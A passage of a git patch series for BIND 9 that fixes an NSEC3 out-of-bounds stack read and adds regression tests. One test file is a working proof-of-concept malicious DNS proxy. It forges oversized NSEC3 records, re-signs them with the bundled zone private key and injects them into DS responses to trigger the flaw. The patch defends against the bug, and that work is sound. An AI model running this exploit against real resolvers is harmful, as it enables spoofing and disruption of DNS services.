From 67b4fb56e40bf856e1fccd41e752d5f486b5b569 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Ond=C5=99ej=20Sur=C3=BD?= Date: Sat, 14 Feb 2026 14:43:41 +0100 Subject: [PATCH 1/5] Invalid NSEC3 can cause OOB read of the isdelegation() stack When .next_length is longer than NSEC3_MAX_HASH_LENGTH, it causes a harmless out-of-bound read of the isdelegation() stack. This patch fixes the issue by skipping NSEC3 records with an oversized hash length during validation. --- lib/dns/rdata/generic/nsec3_50.c | 1 + lib/dns/validator.c | 3 +++ 2 files changed, 4 insertions(+) diff --git a/lib/dns/rdata/generic/nsec3_50.c b/lib/dns/rdata/generic/nsec3_50.c index 600a90f9bd..9f4d4e5a99 100644 --- a/lib/dns/rdata/generic/nsec3_50.c +++ b/lib/dns/rdata/generic/nsec3_50.c @@ -313,6 +313,7 @@ tostruct_nsec3(ARGS_TOSTRUCT) { nsec3->len = region.length; nsec3->typebits = mem_maybedup(mctx, region.base, region.length); nsec3->mctx = mctx; + return ISC_R_SUCCESS; } diff --git a/lib/dns/validator.c b/lib/dns/validator.c index ed2931b744..de0765b8c2 100644 --- a/lib/dns/validator.c +++ b/lib/dns/validator.c @@ -322,6 +322,9 @@ trynsec3: if (nsec3.hash != 1) { continue; } + if (nsec3.next_length > NSEC3_MAX_HASH_LENGTH) { + continue; + } length = isc_iterated_hash( hash, nsec3.hash, nsec3.iterations, nsec3.salt, nsec3.salt_length, name->ndata, name->length); From 3801d0ebbf8da69077af84dae7f7ec23718b839b Mon Sep 17 00:00:00 2001 From: Mark Andrews Date: Wed, 18 Feb 2026 12:30:22 +1100 Subject: [PATCH 2/5] Enforce NSEC3 record consistency NSEC3 hashes are required to fit within a single DNS label. Since there are 5 bits per label byte without pad characters, the maximum hash size is floor(63*5/8) (39 bytes). This patch enforces this maximum length for unknown algorithms, while strictly enforcing the exact expected digest length for known algorithms like SHA-1. --- bin/tests/system/checkzone/zones/crashzone.db | 1 - lib/dns/include/dns/nsec3.h | 6 ++++ lib/dns/rdata/generic/nsec3_50.c | 33 ++++++++++++++++--- lib/isc/include/isc/iterated_hash.h | 12 ------- tests/bench/iterated_hash.c | 1 + 5 files changed, 35 insertions(+), 18 deletions(-) diff --git a/bin/tests/system/checkzone/zones/crashzone.db b/bin/tests/system/checkzone/zones/crashzone.db index 2a62e2a09d..169cbe331e 100644 --- a/bin/tests/system/checkzone/zones/crashzone.db +++ b/bin/tests/system/checkzone/zones/crashzone.db @@ -47,7 +47,6 @@ FQ7RBG86KRMACA1NAAKP2KQRQALBA0C7.dyn.example.net. 7200 RRSIG NSEC3 7 4 7200 201 577WZnTQemStx+diON9rEGXAGnU7C0KLjrFL VyhocnBnNtxJS8eRMSWvb9XuYCMNhYKOurtt Ar4qh4VW1+unmA== ) -I7A7A184GGMI35K1E3IR650LKO7NOB5R.dyn.example.net. 7200 IN NSEC3 1 0 10 76931F IMQ912BREQP1POLAH3RMONG;UED541AS A RRSIG IMQ912BREQP1POLAH3RMONG3UED541AS.dyn.example.net. 7200 IN NSEC3 1 0 10 76931F S3USV4M1HLVJ8F88EDSG8N9PVQRQ20N7 A RRSIG 7200 RRSIG NSEC3 7 4 7200 20100227180048 ( 20100221180048 30323 dyn.example.net. diff --git a/lib/dns/include/dns/nsec3.h b/lib/dns/include/dns/nsec3.h index c1a7bd8c7f..e5dddf78a9 100644 --- a/lib/dns/include/dns/nsec3.h +++ b/lib/dns/include/dns/nsec3.h @@ -27,6 +27,12 @@ #define DNS_NSEC3_SALTSIZE 255 #define DNS_NSEC3_MAXITERATIONS 50U +/* + * The maximum hash that can be encoded in a single label using + * base32hexnp. floor(63*5/8) + */ +#define NSEC3_MAX_HASH_LENGTH 39 + /* * hash = 1, flags =1, iterations = 2, salt length = 1, salt = 255 (max) * hash length = 1, hash = 255 (max), bitmap = 8192 + 512 (max) diff --git a/lib/dns/rdata/generic/nsec3_50.c b/lib/dns/rdata/generic/nsec3_50.c index 9f4d4e5a99..eb06507d8d 100644 --- a/lib/dns/rdata/generic/nsec3_50.c +++ b/lib/dns/rdata/generic/nsec3_50.c @@ -35,6 +35,8 @@ #include #include +#include + #define RRTYPE_NSEC3_ATTRIBUTES DNS_RDATATYPEATTR_DNSSEC static isc_result_t @@ -96,8 +98,17 @@ fromtext_nsec3(ARGS_FROMTEXT) { false)); isc_buffer_init(&b, buf, sizeof(buf)); RETTOK(isc_base32hexnp_decodestring(DNS_AS_STR(token), &b)); - if (isc_buffer_usedlength(&b) > 0xffU) { - RETTOK(ISC_R_RANGE); + switch (hashalg) { + case dns_hash_sha1: + if (isc_buffer_usedlength(&b) != ISC_SHA1_DIGESTLENGTH) { + RETTOK(ISC_R_RANGE); + } + break; + default: + if (isc_buffer_usedlength(&b) > NSEC3_MAX_HASH_LENGTH) { + RETTOK(ISC_R_RANGE); + } + break; } RETERR(uint8_tobuffer(isc_buffer_usedlength(&b), target)); RETERR(mem_tobuffer(target, &buf, isc_buffer_usedlength(&b))); @@ -184,7 +195,7 @@ totext_nsec3(ARGS_TOTEXT) { static isc_result_t fromwire_nsec3(ARGS_FROMWIRE) { isc_region_t sr, rr; - unsigned int saltlen, hashlen; + unsigned int hash, saltlen, hashlen; REQUIRE(type == dns_rdatatype_nsec3); @@ -199,6 +210,7 @@ fromwire_nsec3(ARGS_FROMWIRE) { if (sr.length < 5U) { RETERR(DNS_R_FORMERR); } + hash = sr.base[0]; saltlen = sr.base[4]; isc_region_consume(&sr, 5); @@ -213,8 +225,19 @@ fromwire_nsec3(ARGS_FROMWIRE) { hashlen = sr.base[0]; isc_region_consume(&sr, 1); - if (hashlen < 1 || sr.length < hashlen) { - RETERR(DNS_R_FORMERR); + switch (hash) { + case dns_hash_sha1: + if (hashlen != ISC_SHA1_DIGESTLENGTH || sr.length < hashlen) { + RETERR(DNS_R_FORMERR); + } + break; + default: + if (hashlen < 1 || hashlen > NSEC3_MAX_HASH_LENGTH || + sr.length < hashlen) + { + RETERR(DNS_R_FORMERR); + } + break; } isc_region_consume(&sr, hashlen); diff --git a/lib/isc/include/isc/iterated_hash.h b/lib/isc/include/isc/iterated_hash.h index c96753b632..100294d8c0 100644 --- a/lib/isc/include/isc/iterated_hash.h +++ b/lib/isc/include/isc/iterated_hash.h @@ -13,18 +13,6 @@ #pragma once -/* - * The maximal hash length that can be encoded in a name - * using base32hex. floor(255/8)*5 - */ -#define NSEC3_MAX_HASH_LENGTH 155 - -/* - * The maximum has that can be encoded in a single label using - * base32hex. floor(63/8)*5 - */ -#define NSEC3_MAX_LABEL_HASH 35 - int isc_iterated_hash(unsigned char *out, const unsigned int hashalg, const int iterations, const unsigned char *salt, diff --git a/tests/bench/iterated_hash.c b/tests/bench/iterated_hash.c index 1cc5755e8f..145cc0a7e3 100644 --- a/tests/bench/iterated_hash.c +++ b/tests/bench/iterated_hash.c @@ -23,6 +23,7 @@ #include #include +#include static void time_it(const int count, const int iterations, const unsigned char *salt, From 7b737bc1c412345c0164f49073253b89d35bee0a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Ond=C5=99ej=20Sur=C3=BD?= Date: Fri, 20 Feb 2026 15:44:14 +0100 Subject: [PATCH 3/5] Add tests for NSEC3 invalid length Adds a static system test that fails to load an NSEC3 record with an invalid next part length. Additionally, introduces a dynamic test using a crafted authoritative DNS proxy to inject invalid NSEC3 records on the fly to test runtime behavior. --- .../checkzone/zones/bad-nsec3-length.db | 17 + bin/tests/system/nsec3/ans7/ans.py | 490 ++++++++++++++++++ bin/tests/system/nsec3/common.py | 1 + bin/tests/system/nsec3/ns5/named.conf.j2 | 38 ++ .../nsec3/ns6/Kevil.test.+013+10491.key | 5 + .../nsec3/ns6/Kevil.test.+013+10491.private | 6 + .../nsec3/ns6/Kevil.test.+013+12713.key | 5 + .../nsec3/ns6/Kevil.test.+013+12713.private | 6 + bin/tests/system/nsec3/ns6/evil.test.db | 32 ++ bin/tests/system/nsec3/ns6/named.conf.j2 | 32 ++ bin/tests/system/nsec3/ns6/setup.sh | 21 + bin/tests/system/nsec3/setup.sh | 5 + bin/tests/system/nsec3/tests_nsec3_initial.py | 2 + bin/tests/system/nsec3/tests_nsec3_length.py | 32 ++ 14 files changed, 692 insertions(+) create mode 100644 bin/tests/system/checkzone/zones/bad-nsec3-length.db create mode 100644 bin/tests/system/nsec3/ans7/ans.py create mode 100644 bin/tests/system/nsec3/ns5/named.conf.j2 create mode 100644 bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.key create mode 100644 bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.private create mode 100644 bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.key create mode 100644 bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.private create mode 100644 bin/tests/system/nsec3/ns6/evil.test.db create mode 100644 bin/tests/system/nsec3/ns6/named.conf.j2 create mode 100644 bin/tests/system/nsec3/ns6/setup.sh create mode 100644 bin/tests/system/nsec3/tests_nsec3_length.py diff --git a/bin/tests/system/checkzone/zones/bad-nsec3-length.db b/bin/tests/system/checkzone/zones/bad-nsec3-length.db new file mode 100644 index 0000000000..0e5b917468 --- /dev/null +++ b/bin/tests/system/checkzone/zones/bad-nsec3-length.db @@ -0,0 +1,17 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 600 +@ SOA ns hostmaster 2011012708 3600 1200 604800 1200 + NS ns +ns A 192.0.2.1 + +I7A7A184GGMI35K1E3IR650LKO7NOB5R.dyn.example.net. 7200 IN NSEC3 1 0 10 76931F IMQ912BREQP1POLAH3RMONG;UED541AS A RRSIG diff --git a/bin/tests/system/nsec3/ans7/ans.py b/bin/tests/system/nsec3/ans7/ans.py new file mode 100644 index 0000000000..4fc9bddc03 --- /dev/null +++ b/bin/tests/system/nsec3/ans7/ans.py @@ -0,0 +1,490 @@ +#!/usr/bin/env python3 +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +""" +Crafted authoritative DNS proxy for BIND9 NSEC3 OOB read PoC. + +Simulates a malicious authoritative server that crafts NSEC3 responses +to trigger CWE-125 (out-of-bounds stack read) in validator.c:344. + +Attack chain: +1. Resolver queries xxx.evil.test A -> proxy modifies NSEC3 in A response + (breaks the NSEC3 proof, forcing proveunsecure() fallback) +2. Resolver fetches DS for xxx.evil.test -> proxy injects crafted NSEC3 + with next_length=200 (exceeds 155-byte buffer) at position 0 +3. DS validation succeeds via unmodified NSEC3 (opt-out coverage) +4. ncache stores: [crafted_nsec3 (200B next), original_nsec3] +5. isdelegation() iterates ncache -> crafted first -> memcmp() OOB read + +Usage: python3 crafted_auth_v6.py + Listens on [ip]:[port] + Forwards to legitimate auth server on [10.53.0.6]:[port] + +Prerequisites: pip install dnspython cryptography +""" + +import base64 +import glob +import os +import signal +import socket +import struct +import sys +import time + +from cryptography.hazmat.backends import default_backend +from cryptography.hazmat.primitives import hashes +from cryptography.hazmat.primitives.asymmetric import ec, utils + +import dns.message +import dns.name +import dns.rcode +import dns.rdata +import dns.rdataclass +import dns.rdatatype +import dns.rrset + +IP = sys.argv[1] +PORT = int(sys.argv[2]) +TARGET_NEXT_LENGTH = 200 +ZONE_FILE = "../ns6/evil.test.db.signed" + +# NSEC3 params: alg=1(SHA1), flags=1(opt-out), iterations=10, salt=DEADBEEF +NSEC3_ALG = 1 +NSEC3_FLAGS = 1 +NSEC3_ITERATIONS = 10 +NSEC3_SALT = bytes.fromhex("DEADBEEF") +NSEC3_TTL = 86400 + +# RRSIG timing: computed dynamically for portability +NOW = int(time.time()) +RRSIG_LABELS = 3 +RRSIG_ORIG_TTL = 86400 +RRSIG_INCEPTION = NOW - 3600 # 1 hour ago +RRSIG_EXPIRATION = NOW + 30 * 86400 # 30 days from now + + +def discover_nsec3_from_zone(zone_file): + """ + Auto-discover NSEC3 owner names and next hashes from the signed zone. + Returns list of dicts sorted by owner name. + """ + nsec3_records = [] + with open(zone_file, "r", encoding="utf-8") as f: + for line in f: + line = line.strip() + if not line or line.startswith(";"): + continue + parts = line.split() + if parts[3] == "NSEC3": + print(parts) + try: + idx = parts.index("NSEC3") + print(idx) + owner = parts[0] + next_hash_b32 = parts[idx + 5] + flags = int(parts[idx + 2]) + nsec3_records.append( + { + "owner": owner, + "next_hash_b32": next_hash_b32, + "flags": flags, + } + ) + except (IndexError, ValueError): + continue + nsec3_records.sort(key=lambda r: r["owner"]) + return nsec3_records + + +def b32_to_bytes(b32hex_str): + """Decode base32hex (RFC 4648) to bytes.""" + padded = b32hex_str.upper() + "=" * ((8 - len(b32hex_str) % 8) % 8) + return base64.b32hexdecode(padded) + + +def load_zsk(): + """Load the Zone Signing Key (ZSK) for re-signing modified records.""" + keys = glob.glob("../ns6/Kevil.test.+013+*.private") + for kf in keys: + pub = kf.replace(".private", ".key") + with open(pub, "r", encoding="utf-8") as f: + content = f.read() + if "256 3 13" in content: + with open(kf, "r", encoding="utf-8") as pf: + for line in pf: + if line.startswith("PrivateKey:"): + key_bytes = base64.b64decode(line.split(":", 1)[1].strip()) + pk = ec.derive_private_key( + int.from_bytes(key_bytes, "big"), + ec.SECP256R1(), + default_backend(), + ) + tag = int(kf.split("+")[-1].replace(".private", "")) + print(f"[*] Loaded ZSK key tag={tag}", flush=True) + return pk, tag + raise ValueError("No ZSK found") + + +def sign_rrset( + private_key, + key_tag, + rrset, + type_covered, + labels, + original_ttl, + expiration, + inception, + signer_name, +): + """Sign an RRset with ECDSAP256SHA256 and return RRSIG rdata.""" + algorithm = 13 + + sig_rdata = struct.pack("!HBBI", type_covered, algorithm, labels, original_ttl) + sig_rdata += struct.pack("!II", expiration, inception) + sig_rdata += struct.pack("!H", key_tag) + sig_rdata += signer_name.canonicalize().to_wire() + + rr_wires = [] + for rdata in rrset: + rdata_wire = rdata.to_digestable() + rr_wire = rrset.name.canonicalize().to_wire() + rr_wire += struct.pack("!HHI", rrset.rdtype, rrset.rdclass, original_ttl) + rr_wire += struct.pack("!H", len(rdata_wire)) + rr_wire += rdata_wire + rr_wires.append(rr_wire) + + rr_wires.sort() + sign_data = sig_rdata + b"".join(rr_wires) + + der_sig = private_key.sign(sign_data, ec.ECDSA(hashes.SHA256())) + r, s = utils.decode_dss_signature(der_sig) + raw_sig = r.to_bytes(32, "big") + s.to_bytes(32, "big") + + full_rrsig_wire = sig_rdata + raw_sig + rrsig_rdata = dns.rdata.from_wire( + dns.rdataclass.IN, + dns.rdatatype.RRSIG, + full_rrsig_wire, + 0, + len(full_rrsig_wire), + None, + ) + return rrsig_rdata + + +def sign_rrset_from_template(private_key, key_tag, rrset, template_rrsig): + """Sign using existing RRSIG as template for type_covered.""" + return sign_rrset( + private_key, + key_tag, + rrset, + template_rrsig.type_covered, + RRSIG_LABELS, + RRSIG_ORIG_TTL, + RRSIG_EXPIRATION, + RRSIG_INCEPTION, + template_rrsig.signer, + ) + + +def build_crafted_nsec3(private_key, key_tag, owner_name, original_next_hash, bitmaps): + """ + Build a crafted NSEC3 with next_length=200 (exceeds 155-byte buffer). + Returns (nsec3_rrset, rrsig_rrset). + """ + name = dns.name.from_text(owner_name) + signer = dns.name.from_text("evil.test.") + + crafted_next = original_next_hash + os.urandom( + TARGET_NEXT_LENGTH - len(original_next_hash) + ) + + nsec3_wire = struct.pack("!BBH", NSEC3_ALG, NSEC3_FLAGS, NSEC3_ITERATIONS) + nsec3_wire += struct.pack("!B", len(NSEC3_SALT)) + NSEC3_SALT + nsec3_wire += struct.pack("!B", TARGET_NEXT_LENGTH) + crafted_next + nsec3_wire += bitmaps + + nsec3_rdata = dns.rdata.from_wire( + dns.rdataclass.IN, dns.rdatatype.NSEC3, nsec3_wire, 0, len(nsec3_wire), None + ) + + nsec3_rrset = dns.rrset.RRset(name, dns.rdataclass.IN, dns.rdatatype.NSEC3) + nsec3_rrset.update_ttl(NSEC3_TTL) + nsec3_rrset.add(nsec3_rdata) + + rrsig_rdata = sign_rrset( + private_key, + key_tag, + nsec3_rrset, + type_covered=dns.rdatatype.NSEC3, + labels=RRSIG_LABELS, + original_ttl=RRSIG_ORIG_TTL, + expiration=RRSIG_EXPIRATION, + inception=RRSIG_INCEPTION, + signer_name=signer, + ) + + rrsig_rrset = dns.rrset.RRset(name, dns.rdataclass.IN, dns.rdatatype.RRSIG) + rrsig_rrset.update_ttl(NSEC3_TTL) + rrsig_rrset.add(rrsig_rdata) + + print( + f"[*] Built crafted NSEC3: owner={owner_name}, " + f"next_hash={TARGET_NEXT_LENGTH}B, signed tag={key_tag}", + flush=True, + ) + return nsec3_rrset, rrsig_rrset + + +def modify_nsec3_next(rdata): + """Modify an NSEC3 record's next_hash to TARGET_NEXT_LENGTH bytes.""" + orig_wire = rdata.to_digestable() + pos = 0 + hash_alg = orig_wire[pos] + pos += 1 + flags = orig_wire[pos] + pos += 1 + iterations = struct.unpack("!H", orig_wire[pos : pos + 2])[0] + pos += 2 + salt_len = orig_wire[pos] + pos += 1 + salt = orig_wire[pos : pos + salt_len] + pos += salt_len + hash_len = orig_wire[pos] + pos += 1 + next_hash = orig_wire[pos : pos + hash_len] + pos += hash_len + type_bitmaps = orig_wire[pos:] + + crafted_next = next_hash + os.urandom(TARGET_NEXT_LENGTH - len(next_hash)) + new_wire = struct.pack("!BBH", hash_alg, flags, iterations) + new_wire += struct.pack("!B", salt_len) + salt + new_wire += struct.pack("!B", TARGET_NEXT_LENGTH) + crafted_next + new_wire += type_bitmaps + + return dns.rdata.from_wire( + dns.rdataclass.IN, dns.rdatatype.NSEC3, new_wire, 0, len(new_wire), None + ) + + +def name_label(name): + """Get the first label (NSEC3 hash) from a DNS name.""" + return str(name).split(".", maxsplit=1)[0].upper() + + +def is_target(dns_name, target_prefix): + """Check if a DNS name's first label starts with target prefix.""" + return ( + str(dns_name) + .split(".", maxsplit=1)[0] + .upper() + .startswith(target_prefix.upper()) + ) + + +def patch_a_response(response_data, private_key, key_tag, modify_name): + """ + Patch A response: modify the NSEC3 matching modify_name to break + the NSEC3 proof, forcing the resolver into proveunsecure(). + """ + try: + msg = dns.message.from_wire(response_data) + except Exception as e: # pylint: disable=broad-except + print(f"[!] Parse error: {e}", flush=True) + return response_data + + new_authority = [] + for rrset in msg.authority: + if rrset.rdtype == dns.rdatatype.NSEC3 and is_target(rrset.name, modify_name): + new_rrset = dns.rrset.RRset(rrset.name, rrset.rdclass, rrset.rdtype) + new_rrset.update_ttl(rrset.ttl) + for rdata in rrset: + new_rrset.add(modify_nsec3_next(rdata)) + new_authority.append(new_rrset) + print( + f"[!] PATCHED {name_label(rrset.name)}: " + f"next_hash -> {TARGET_NEXT_LENGTH}B", + flush=True, + ) + + elif rrset.rdtype == dns.rdatatype.RRSIG: + covers_nsec3 = any(rd.type_covered == dns.rdatatype.NSEC3 for rd in rrset) + if covers_nsec3 and is_target(rrset.name, modify_name): + target_rrset = [ + rs + for rs in new_authority + if rs.rdtype == dns.rdatatype.NSEC3 + and is_target(rs.name, modify_name) + ] + if target_rrset: + template = next(iter(rrset)) + try: + new_rrsig = sign_rrset_from_template( + private_key, key_tag, target_rrset[0], template + ) + rrsig_rrset = dns.rrset.RRset( + rrset.name, dns.rdataclass.IN, dns.rdatatype.RRSIG + ) + rrsig_rrset.update_ttl(rrset.ttl) + rrsig_rrset.add(new_rrsig) + new_authority.append(rrsig_rrset) + print(f"[!] Re-signed " f"{name_label(rrset.name)}", flush=True) + except Exception as e: # pylint: disable=broad-except + print(f"[!] Sign error: {e}", flush=True) + new_authority.append(rrset) + else: + new_authority.append(rrset) + else: + new_authority.append(rrset) + else: + new_authority.append(rrset) + + msg.authority = new_authority + try: + wire = msg.to_wire() + print(f"[!] A response: {len(wire)} bytes", flush=True) + return wire + except Exception as e: # pylint: disable=broad-except + print(f"[!] Wire error: {e}", flush=True) + return response_data + + +def patch_ds_response(response_data, crafted_nsec3, crafted_rrsig, inject_name): + """ + Patch DS response: + - Change RCODE NXDOMAIN -> NOERROR + - Inject crafted NSEC3 (200B next) at position 0 in authority + """ + try: + msg = dns.message.from_wire(response_data) + except Exception as e: # pylint: disable=broad-except + print(f"[!] Parse error: {e}", flush=True) + return response_data + + if msg.rcode() == dns.rcode.NXDOMAIN: + msg.set_rcode(dns.rcode.NOERROR) + print("[!] RCODE: NXDOMAIN -> NOERROR", flush=True) + + new_authority = [crafted_nsec3, crafted_rrsig] + print( + "[!] INJECTED crafted " + f"{name_label(crafted_nsec3.name)} " + f"(next={TARGET_NEXT_LENGTH}B) at position 0", + flush=True, + ) + + for rrset in msg.authority: + if is_target(rrset.name, inject_name): + print(f"[D] Skipped original " f"{name_label(rrset.name)}", flush=True) + continue + new_authority.append(rrset) + + msg.authority = new_authority + try: + wire = msg.to_wire() + print(f"[!] DS response: {len(wire)} bytes", flush=True) + return wire + except Exception as e: # pylint: disable=broad-except + print(f"[!] Wire error: {e}", flush=True) + return response_data + + +def sigterm(*_): + print("SIGTERM received, shutting down") + os.remove("ans.pid") + sys.exit(0) + + +def main(): + signal.signal(signal.SIGTERM, sigterm) + signal.signal(signal.SIGINT, sigterm) + with open("ans.pid", "w", encoding="utf-8") as pidfile: + print(os.getpid(), file=pidfile) + + # Auto-discover NSEC3 info from signed zone + print(f"[*] Reading zone file: {ZONE_FILE}", flush=True) + nsec3_records = discover_nsec3_from_zone(ZONE_FILE) + + if len(nsec3_records) < 2: + print( + f"[!] ERROR: Need >= 2 NSEC3 records, " f"found {len(nsec3_records)}", + flush=True, + ) + sys.exit(1) + + # First alphabetically = inject target, second = modify target + inject_rec = nsec3_records[0] + modify_rec = nsec3_records[1] + + inject_name = inject_rec["owner"].split(".")[0] + modify_name = modify_rec["owner"].split(".")[0] + inject_owner_full = inject_rec["owner"] + inject_next_hash = b32_to_bytes(inject_rec["next_hash_b32"]) + + inject_bitmaps = bytes.fromhex("0006400000000002") # A RRSIG + + print(f"[*] NSEC3 to INJECT (crafted): {inject_name}", flush=True) + print(f"[*] NSEC3 to MODIFY (break proof): {modify_name}", flush=True) + + # Load ZSK for re-signing + private_key, key_tag = load_zsk() + + # Build crafted NSEC3 with next_length=200 + crafted_nsec3, crafted_rrsig = build_crafted_nsec3( + private_key, key_tag, inject_owner_full, inject_next_hash, inject_bitmaps + ) + + # Start UDP proxy + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + sock.bind((IP, PORT)) + print(f"[*] Proxy on {IP}:{PORT} -> {IP}:{PORT}", flush=True) + + while True: + data, addr = sock.recvfrom(4096) + try: + query = dns.message.from_wire(data) + qname = query.question[0].name + qtype = query.question[0].rdtype + qtype_text = dns.rdatatype.to_text(qtype) + print(f"\n[<] Query from {addr}: {qname} {qtype_text}", flush=True) + except Exception as e: # pylint: disable=broad-except + print(f"[<] Query parse error: {e}", flush=True) + qtype = None + + fwd = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + fwd.settimeout(3) + fwd.sendto(data, ("10.53.0.6", PORT)) + try: + response, _ = fwd.recvfrom(65535) + if qtype == dns.rdatatype.DS: + print("[>] DS - inject crafted + RCODE change", flush=True) + modified = patch_ds_response( + response, crafted_nsec3, crafted_rrsig, inject_name + ) + sock.sendto(modified, addr) + elif qtype in (dns.rdatatype.A, dns.rdatatype.AAAA): + print(f"[>] A - modify {modify_name}", flush=True) + modified = patch_a_response(response, private_key, key_tag, modify_name) + sock.sendto(modified, addr) + else: + print(f"[>] {qtype_text} - forwarding", flush=True) + sock.sendto(response, addr) + except Exception as e: # pylint: disable=broad-except + print(f"[!] Error: {e}", flush=True) + finally: + fwd.close() + + +if __name__ == "__main__": + main() diff --git a/bin/tests/system/nsec3/common.py b/bin/tests/system/nsec3/common.py index 2f03f9bb35..13a8f13464 100644 --- a/bin/tests/system/nsec3/common.py +++ b/bin/tests/system/nsec3/common.py @@ -36,6 +36,7 @@ NSEC3_MARK = pytest.mark.extra_artifacts( "ns*/*.signed", "ns*/keygen.out.*", "ns3/named-*.conf", + "ans*/ans.run", ] ) diff --git a/bin/tests/system/nsec3/ns5/named.conf.j2 b/bin/tests/system/nsec3/ns5/named.conf.j2 new file mode 100644 index 0000000000..3d2651038f --- /dev/null +++ b/bin/tests/system/nsec3/ns5/named.conf.j2 @@ -0,0 +1,38 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +// NS5 + +options { + query-source address 10.53.0.5; + notify-source 10.53.0.5; + transfer-source 10.53.0.5; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.5; }; + listen-on-v6 { none; }; + allow-transfer { any; }; + recursion yes; + dnssec-validation yes; + send-cookie no; +}; + +trust-anchors { + evil.test. static-key 257 3 13 "yh1W7zgrqOsAZdKAh597SI7F2ye4ReiLmBNsDg+TDLJQ+3C2fXfrsQyY MvA+hmzTQdKX24zlVlD3YAVA6+VmrQ=="; +}; + +zone "evil.test" { + type forward; + forward only; + forwarders { 10.53.0.7 port @PORT@; }; +}; diff --git a/bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.key b/bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.key new file mode 100644 index 0000000000..b9ff7a505d --- /dev/null +++ b/bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.key @@ -0,0 +1,5 @@ +; This is a key-signing key, keyid 10491, for evil.test. +; Created: 20260220135822 (Fri Feb 20 14:58:22 2026) +; Publish: 20260220135822 (Fri Feb 20 14:58:22 2026) +; Activate: 20260220135822 (Fri Feb 20 14:58:22 2026) +evil.test. IN DNSKEY 257 3 13 yh1W7zgrqOsAZdKAh597SI7F2ye4ReiLmBNsDg+TDLJQ+3C2fXfrsQyY MvA+hmzTQdKX24zlVlD3YAVA6+VmrQ== diff --git a/bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.private b/bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.private new file mode 100644 index 0000000000..2b5d4447ee --- /dev/null +++ b/bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.private @@ -0,0 +1,6 @@ +Private-key-format: v1.3 +Algorithm: 13 (ECDSAP256SHA256) +PrivateKey: ggNXr56dVy7kxpAL5tFDNskg72fJmxhzqHNiaNcefXs= +Created: 20260220135822 +Publish: 20260220135822 +Activate: 20260220135822 diff --git a/bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.key b/bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.key new file mode 100644 index 0000000000..a0b7f44444 --- /dev/null +++ b/bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.key @@ -0,0 +1,5 @@ +; This is a zone-signing key, keyid 12713, for evil.test. +; Created: 20260220135826 (Fri Feb 20 14:58:26 2026) +; Publish: 20260220135826 (Fri Feb 20 14:58:26 2026) +; Activate: 20260220135826 (Fri Feb 20 14:58:26 2026) +evil.test. IN DNSKEY 256 3 13 JZQgRxLTYVoGfdmaCXm87msxkXgRqs+gLQ8xFHmWf4N183qYbUAW7iE+ 3NMvTdIRTMPeDCh/KHBiVxQk5RJMaA== diff --git a/bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.private b/bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.private new file mode 100644 index 0000000000..2bf085150e --- /dev/null +++ b/bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.private @@ -0,0 +1,6 @@ +Private-key-format: v1.3 +Algorithm: 13 (ECDSAP256SHA256) +PrivateKey: v6iu6vE/hjOKCP/ob2DkqCeHdCUTqkZp4W9x4Id0Epg= +Created: 20260220135826 +Publish: 20260220135826 +Activate: 20260220135826 diff --git a/bin/tests/system/nsec3/ns6/evil.test.db b/bin/tests/system/nsec3/ns6/evil.test.db new file mode 100644 index 0000000000..67692d0d8d --- /dev/null +++ b/bin/tests/system/nsec3/ns6/evil.test.db @@ -0,0 +1,32 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$ORIGIN evil.test. +$TTL 86400 +@ IN SOA ns1.evil.test. admin.evil.test. ( + 2024021401 ; serial + 3600 ; refresh + 900 ; retry + 604800 ; expire + 86400 ; minimum TTL + ) + IN NS ns1.evil.test. +ns1 IN A 127.0.0.1 +; This is a key-signing key, keyid 10491, for evil.test. +; Created: 20260220135822 (Fri Feb 20 14:58:22 2026) +; Publish: 20260220135822 (Fri Feb 20 14:58:22 2026) +; Activate: 20260220135822 (Fri Feb 20 14:58:22 2026) +evil.test. IN DNSKEY 257 3 13 yh1W7zgrqOsAZdKAh597SI7F2ye4ReiLmBNsDg+TDLJQ+3C2fXfrsQyY MvA+hmzTQdKX24zlVlD3YAVA6+VmrQ== +; This is a zone-signing key, keyid 12713, for 